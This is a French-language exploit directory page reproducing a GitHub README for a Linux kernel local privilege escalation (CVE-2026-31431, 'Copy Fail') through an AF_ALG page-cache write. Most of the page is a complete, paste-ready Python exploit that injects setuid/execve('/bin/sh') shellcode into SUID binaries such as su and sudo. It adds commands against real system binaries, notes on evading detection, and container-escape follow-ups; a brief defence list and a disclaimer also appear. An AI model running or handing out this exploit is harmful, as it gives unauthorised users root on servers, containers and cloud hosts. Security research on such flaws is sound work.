Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 Copy Fail — Exploit LPE universel. Décalage ELF dynamique + réécriture complète du binaire, compatible Python 2/3 avec repli splice via ctypes | Kitploit
Outils/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Escalade de PrivilègesSécurité des ConteneursFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 Copy Fail — Exploit LPE universel. Décalage ELF dynamique + réécriture complète du binaire, compatible Python 2/3 avec repli splice via ctypes

Voir le dépôt
58137il y a 4 moisVérifié par Kitploit

CVE-2026-31431 « Copy Fail » — Exploit LPE universel

Écriture arbitraire de 4 octets dans le cache de pages du noyau Linux → Élévation de privilèges locale

Plusieurs approches d'exploitation : écrasement dynamique du point d'entrée ELF, remplacement complet du binaire, compatible Python 3.x avec repli splice via ctypes.

Qu'est-ce que c'est ?

CVE-2026-31431 est une vulnérabilité dans le sous-système crypto AF_ALG du noyau Linux. En abusant de splice() + du déchiffrement en place authencesn, un utilisateur non privilégié peut écrire 4 octets à un décalage arbitraire dans le cache de pages du noyau — le même cache utilisé pour toute la mémoire adossée à des fichiers.

Cela signifie :

  • Aucune condition de course — mono-thread, déterministe
  • Aucun privilège spécial — fonctionne dans les conteneurs Docker par défaut (seccomp autorise AF_ALG)
  • Aucune dépendance à la version du noyau — affecte tous les noyaux de 2017 à aujourd'hui
  • Modifie les fichiers uniquement en mémoire — le disque n'est pas touché, un redémarrage efface toutes les traces

Approches d'exploitation

Ce dépôt fournit trois outils utilisant la même primitive de copie-échec AF_ALG :

Point d'entrée dynamique — Analyse l'en-tête ELF à l'exécution pour calculer le décalage du point d'entrée dans le fichier (p_offset + (e_entry - p_vaddr)), puis écrit un petit stub de shellcode. Aucun décalage codé en dur — un seul script fonctionne sur n'importe quel binaire SUID x86_64, quelle que soit la distribution ou la version.

Remplacement complet du binaire — Écrase la cible à partir du décalage 0 avec un payload ELF complet pré-construit (compressé zlib et intégré au script). Peut cibler des binaires non-SUID exécutés par des processus privilégiés (tâches cron, services systemd, kube-proxy). Fonctionne avec Python 2.

Vérificateur de vulnérabilité — Teste si le système cible dispose d'AF_ALG, d'authencesn et d'algif_aead avant d'exécuter un exploit.

Démarrage rapide

Prérequis

  • Noyau Linux (toute version depuis ~2017)
  • Python 3.x (pour exploit.py ; Python 2 pris en charge via poc_compatible.py)
  • Tout binaire SUID-root (/usr/bin/su, /usr/bin/sudo, etc.)

Reproduction en une ligne

root@kitploit:~
# Créer un conteneur de test avec un utilisateur non privilégié
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Ensuite, dans le conteneur en tant que testuser :

root@kitploit:~
# Avant : setuid(0) échoue car l'uid réel n'est pas 0
/usr/local/bin/verify
# uid=1000 euid=0
# (se termine normalement, pas de root)

# Exécuter l'exploit
python3 exploit.py /usr/local/bin/verify

# Après : point d'entrée écrasé, le shellcode obtient root
# uid=0(root) gid=1000(testuser)

En une ligne (sans transfert de fichier)

Dans les scénarios réels, vous n'avez souvent qu'un shell brut — pas de scp, pas de curl, pas de wget. Cette méthode utilise un heredoc cat pour écrire l'exploit directement dans le terminal :

root@kitploit:~
# Option 1 : exécuter le script shell
sh exploit-one-liner.sh /usr/local/bin/verify

# Option 2 : coller directement dans le terminal (copier tout le bloc)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Pourquoi c'est important : Les environnements conteneurisés manquent souvent d'outils de transfert de fichiers (scp, curl, wget). La méthode heredoc ne nécessite que cat et python3 — disponibles partout.

Cibler d'autres binaires SUID

Vous pouvez remplacer /usr/local/bin/verify par n'importe quel binaire SUID-root :

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Avertissement : Cibler des binaires SUID système (comme /usr/bin/su) affecte tous les utilisateurs du système. Le binaire devient inutilisable jusqu'à ce que le cache de pages soit vidé. Sur la machine hôte, tout utilisateur exécutant su obtiendrait un shell root.

Sur un système partagé ou en production, c'est immédiatement visible — su plantera ou générera des shells inattendus pour tout le monde. Utilisez verify.c pour des tests sûrs.

Récupération

L'exploit ne modifie que le cache de pages (mémoire), pas le disque. Options de récupération :

root@kitploit:~
# Sur l'hôte (après les tests en conteneur) :
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Vérifier la récupération :
xxd -l 8 /usr/bin/su
# Devrait afficher : 7f45 4c46 (.ELF)

Remarque : Dans un conteneur par défaut (non privilégié), echo 3 > /proc/sys/vm/drop_caches échoue avec Read-only file system — cela nécessite un accès à l'hôte ou la destruction du conteneur.

Surface d'attaque

Comment ça fonctionne

La vulnérabilité

L'algorithme AEAD authencesn du noyau a un bug dans son chemin de déchiffrement en place :

  1. L'utilisateur crée une socket AF_ALG avec authencesn(hmac(sha256), cbc(aes))
  2. L'utilisateur appelle splice() pour alimenter les données du fichier dans la socket crypto — cela mappe directement les pages du cache de pages dans la liste de segments dispersés (scatterlist) du noyau
  3. Pendant le déchiffrement, authencesn écrit 4 octets de seqno_lo après la balise d'authentification
  4. En contrôlant la longueur des données associées et la disposition de l'IV, l'attaquant contrôle où ces 4 octets atterrissent

Résultat : écriture arbitraire de 4 octets dans tout fichier mis en cache.

L'exploit

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  Binaire ELF (/usr/bin/su)                          │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ En-tête ELF │  e_entry = 0x4013f0        │
│          │           │  ← analysé dynamiquement     │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← décalage fichier calculé  │
│          │ code d'origine │                          │
│          │           │  ─── écritures copie-échec ───→ │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

Lorsque le noyau charge le binaire SUID, il définit euid=0, puis saute au point d'entrée.
Le point d'entrée est désormais notre shellcode → setuid(0) réussit → shell root.

Shellcode

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; terminateur nul
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; nom de fichier
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 octets, 9 écritures copie-échec (4 octets chacune).

Pourquoi c'est important

Sécurité des conteneurs

Les conteneurs Docker par défaut ne sont pas protégés contre cela :

ProtectionStatut
Seccomp✅ AF_ALG autorisé par défaut
Espaces de noms utilisateur❌ Non utilisés dans Docker par défaut
AppArmor/SELinux❌ Ne restreint pas AF_ALG
Abandon de capacités❌ Aucune capacité spéciale requise

La seule chose qui empêche l'évasion de conteneur est l'isolation du cache de pages par montage d'overlayfs. Mais une fois que vous avez root dans le conteneur, les techniques d'évasion standard s'appliquent (release_agent cgroup, docker.sock, jetons serviceaccount K8s, métadonnées cloud).

Difficulté de détection

  • Le disque n'est jamais modifié — les écritures dans le cache de pages sont uniquement en mémoire
  • Aucun nouveau fichier créé — l'exploit est un simple script Python
  • Aucun module noyau chargé — pur abus d'appels système
  • Un redémarrage efface toutes les preuves — le cache de pages est volatil

Systèmes affectés

Chaque noyau Linux depuis la conversion en place algif_aead (fusionnée ~2017), y compris :

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Conteneurs Docker (profil seccomp par défaut)
  • Pods Kubernetes (configurations par défaut)
  • WSL2 (confirmé)

Structure des fichiers

root@kitploit:~
.
├── exploit.py              # Écrasement dynamique du point d'entrée ELF (Python 3.x)
├── exploit-one-liner.sh    # Version prête à coller (sans transfert de fichier)
├── poc_compatible.py       # Écrasement complet du binaire ELF à partir du décalage 0 (Python 2/3, par h4ppy7ree)
├── poc_ctypes.py           # splice via ctypes pour Python 3.0-3.9 (par h4ppy7ree)
├── check_cve.sh            # Vérificateur de vulnérabilité (par h4ppy7ree)
├── verify/
│   └── verify.c            # Programme de vérification SUID pour les tests
└── README.md               # Ce fichier

Défense

  • Appliquer le correctif du noyau — correctif en amont disponible
  • Seccomp : Bloquer le domaine AF_ALG (socket(AF_ALG, ...) → errno)
  • AppArmor : Refuser la création de socket af_alg
  • Durcissement du noyau : CONFIG_CRYPTO_USER_API_AEAD=n
  • Surveillance : Auditer les appels système socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)

Crédits

  • Découverte de la vulnérabilité : Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • Calcul dynamique du décalage et exploit universel : Ce travail
  • Approche de remplacement complet du binaire et vérificateur de vulnérabilité : h4ppy7ree (PR #1)

Avertissement

Cet exploit est fourni uniquement à des fins de recherche en sécurité autorisée et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.

Licence

MIT

Télécharger l’outil
Point d'entrée dynamiqueRemplacement complet du binaireVérificateur de vulnérabilité
Fichierexploit.pypoc_compatible.pycheck_cve.sh
StratégieÉcrase le point d'entrée ELF avec du shellcodeRemplace le binaire entier à partir du décalage 0Teste si la cible est vulnérable
CibleTout binaire SUID x86_64Tout binaire (SUID ou non)N/A
Python3.x (toutes versions)2 / 3Bash
PayloadShellcode de 36 octetsELF complet compressé zlibN/A
AuteurCe travailh4ppy7reeh4ppy7ree
MéthodeOùCommande
Vider le cache de pagesHôte (root)echo 3 > /proc/sys/vm/drop_caches
RedémarrerPartoutreboot — le cache de pages est volatil
Détruire le conteneurPartoutdocker rm — le cache de pages est libéré avec le conteneur
VecteurFonctionne ?Détails
LPE (utilisateur local → root)✅ OuiÉcrasement du point d'entrée d'un binaire SUID
Évasion de conteneur (par défaut)❌ NonIsolation du cache de pages par montage overlayfs
Évasion de conteneur (écriture hôte)✅ OuiÉcriture via /proc/PID/root/ depuis l'hôte
Inter-conteneurs (écriture hôte)✅ OuiMême inode → cache de pages partagé de la couche inférieure